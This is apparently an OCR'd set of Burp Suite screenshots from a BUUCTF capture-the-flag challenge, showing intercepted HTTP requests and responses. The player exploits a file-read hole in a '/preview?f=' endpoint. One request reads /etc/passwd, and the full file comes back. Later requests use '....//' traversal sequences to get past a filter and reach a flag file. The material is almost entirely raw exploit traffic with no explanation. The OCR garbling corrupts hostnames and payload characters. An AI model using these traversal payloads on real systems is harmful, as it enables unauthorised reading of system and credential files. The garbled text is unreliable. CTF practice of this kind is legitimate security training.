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/ Request to http://a454dbc3-e186-4af5-8bc9-c5606e613bd0.node3.buuoj.cn:80 [111.73.45.58]

| Forward ] L Drop ] [“Intercept is on | Action

Raw | Params | Headers | Hex

GET /preview?f=favicon.ico HTTP/1.1

Host: a454dbc3-el86-4af5-8bc9-c5606e613bd0.node3.buuoj.cn

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;g=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://a454dbc3-el86-4af5-8bc9-c5606e613bd0.node3.buuoj.cn/uploads/

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;g=0.9

Cookie: UM distinctid=176cc63994071c-0a3bb0b090c52f-6d112d7c-13c680-176cc639941f6e

10 Connection: close
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Request
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1 GET /preview?f=/etc/passwd HTTP/1.1 A
2 Host: a454dbc3-el186-4af5-8bc9-c5606e613bd0.node3.buuoj.cn P
3 Upgrade-Insecure-Requests: 1
4 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac O0S X 11 1 0) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
5 Accept:
text/html,application/xhtml+xml,application/xml;g=0.9,image/avif, image/webp,image/a
png, */*;g=0.8,application/signed-exchange;v=b3;q=0.9
6 Referer: http://a454dbc3-el86-4af5-8bc9-c5606e613bd0.node3.buuocj.cn/uploads/
7 Accept-Encoding: gzip, deflate
8 Accept-Language: zh-CN,zh;g=0.9
9 Cookie: UM distinctid=176cc63994071c-0a3bb0b090c52f-6d112d7¢c-13¢c680-176cc639941f6e
10 Connection: close
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Response

J Raw T Headers T Hex ]

HTTP/1.1 200 OK

Server: openresty

Date: Thu, 07 Jan 2021 09:23:36 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 45

Connection: close

Author: Virink <virink@outlook.com>
Cache-Control: no-cache
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10 {"msg":"File \/epasswd not found!","code":1}
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Response
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HTTP/1.1 200 OK

Server: openresty

Date: Thu, 07 Jan 2021 09:28:48 GMT
Content-Type: text/plain
Content-Length: 1225

Connection: close

Author: Virink <virink@outlook.com>
Cache-Control: no-cache
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10 root:x:0:0:root:/root:/bin/ash

11 bin:x:1:1:bin:/bin:/sbin/nologin

12 daemon:x:2:2:daemon:/sbin:/sbin/nologin

13 adm:x:3:4:adm:/var/adm:/sbin/nologin

14 1p:x:4:7:1p:/var/spool/1lpd:/sbin/nologin

15 sync:x:5:0:sync:/sbin:/bin/sync

16 shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown

17 halt:x:7:0:halt:/sbin:/sbin/halt

18 mail:x:8:12:mail:/var/spool/mail:/sbin/nologin

19 news:x:9:13:news:/usr/lib/news:/sbin/nologin

20 uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
21 operator:x:11:0:operator:/root:/bin/sh

22 man:x:13:15:man:/usr/man:/sbin/nologin

23 postmaster:x:14:12:postmaster:/var/spool/mail:/sbin/nologin
24 cron:x:16:16:cron:/var/spool/cron:/sbin/nologin

25 ftp:x:21:21::/var/lib/ftp:/sbin/nologin

26 sshd:x:22:22:sshd:/dev/null:/sbin/nologin

27 at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin

28 squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin

29 xfs:x:33:33:X Font Server:/etc/X11l/fs:/sbin/nologin
30 games:x:35:35:games:/usr/games:/sbin/nologin

31 postgres:x:70:70::/var/lib/postgresqgl:/bin/sh

32 cyrus:x:85:12::/usr/cyrus:/sbin/nologin

33 vpopmail:x:89:89::/var/vpopmail:/sbin/nologin

34 ntp:x:123:123:NTP:/var/empty:/sbin/nologin

35 smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
36 guest:x:405:100:guest:/dev/null:/sbin/nologin

37 nobody:x:65534:65534:nobody:/:/sbin/nologin
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Response

J RawT Headers T Hex ]

1 HTTP/1.1 200 OK

2 Server: openresty

3 Date: Thu, 07 Jan 2021 09:30:56 GMT

4 Content-Type: application/json; charset=utf-8
5 Content-Length: 72

6 Connection: close

7 Author: Virink <virink@outlook.com>

8 Cache-Control: no-cache

9

10 {"msg":"File ..\/..\/..\/..\/..\/..\/flag Is h3re not found!","code":1}
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GET /preview?f=....//....//cco //eeiid//oo// oo //..//flag Is h3re..//flag
HTTP/1.1

Host: a454dbc3-e186-4af5-8bc9-c5606e613bd0.node3.buuoj.cn
Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac O0S X 11 1 0) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
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Response
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HTTP/1.1 200 OK

Server: openresty

Date: Thu, 07 Jan 2021 09:34:09 GMT
Content-Type: text/plain
Content-Length: 44

Connection: close

Author: Virink <virink@outlook.com>
Cache-Control: no-cache
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